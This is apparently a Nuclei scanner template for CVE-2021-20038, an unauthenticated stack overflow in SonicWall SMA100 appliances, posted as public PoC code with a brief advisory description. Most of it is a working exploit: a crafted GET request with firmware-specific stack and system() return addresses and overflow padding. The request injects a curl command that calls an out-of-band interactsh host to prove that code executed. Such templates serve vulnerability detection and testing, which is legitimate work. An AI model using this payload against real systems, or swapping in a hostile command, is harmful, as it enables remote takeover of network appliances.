A Stack-based buffer overflow vulnerability in SMA100 Apache httpd server's mod_cgi module environment variables allows a remote unauthenticated attacker to potentially execute code as a 'nobody' user in the appliance. This vulnerability affected SMA 200, 210, 400, 410 and 500v appliances firmware 10.2.0.8-37sv, 10.2.1.1-19sv, 10.2.1.2-24sv and earlier versions.
PoC代码[已公开]
id: CVE-2021-20038
info:
name: SonicWall SMA100 Stack - Buffer Overflow/Remote Code Execution
author: dwisiswant0, jbaines-r7
severity: critical
description: A Stack-based buffer overflow vulnerability in SMA100 Apache httpd server's mod_cgi module environment variables allows a remote unauthenticated attacker to potentially execute code as a 'nobody' user in the appliance. This vulnerability affected SMA 200, 210, 400, 410 and 500v appliances firmware 10.2.0.8-37sv, 10.2.1.1-19sv, 10.2.1.2-24sv and earlier versions.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code or crash the affected system.
remediation: |
Apply the latest security patch or update provided by SonicWall to mitigate this vulnerability.
reference:
- https://attackerkb.com/topics/QyXRC1wbvC/cve-2021-20038/rapid7-analysis
- https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0026
- https://nvd.nist.gov/vuln/detail/CVE-2021-20038
- https://github.com/jbaines-r7/badblood
- https://github.com/Ostorlab/KEV
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-20038
cwe-id: CWE-787,CWE-121
epss-score: 0.94292
epss-percentile: 0.99935
cpe: cpe:2.3:o:sonicwall:sma_200_firmware:10.2.0.8-37sv:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: sonicwall
product: sma_200_firmware
tags: cve2021,cve,overflow,rce,sonicwall,kev
variables:
useragent: '{{rand_base(6)}}'
http:
- raw:
- |
GET /{{prefix_addr}}{{system_addr}};{curl,http://{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'};{{prefix_addr}}{{system_addr}};{curl,http://{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'};?{{repeat("A", 518)}} HTTP/1.1
Host: {{Hostname}}
payloads:
prefix_addr:
- "%04%d7%7f%bf%18%d8%7f%bf%18%d8%7f%bf" # stack's top address
system_addr:
- "%08%b7%06%08" # for 10.2.1.2-24sv
- "%64%b8%06%08" # for 10.2.1.1-1[79]sv
attack: clusterbomb
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
- type: word
part: interactsh_request
words:
- "User-Agent: {{useragent}}"
# digest: 4a0a004730450220153274847d39db4087835ff2264d1d1444dc229559a603d5aad2e533066f8ba202210093da662c09656d732df26957a41083c65195c847b18d03a4933898499c4f7344:922c64590222798bb761d5b6d8e72950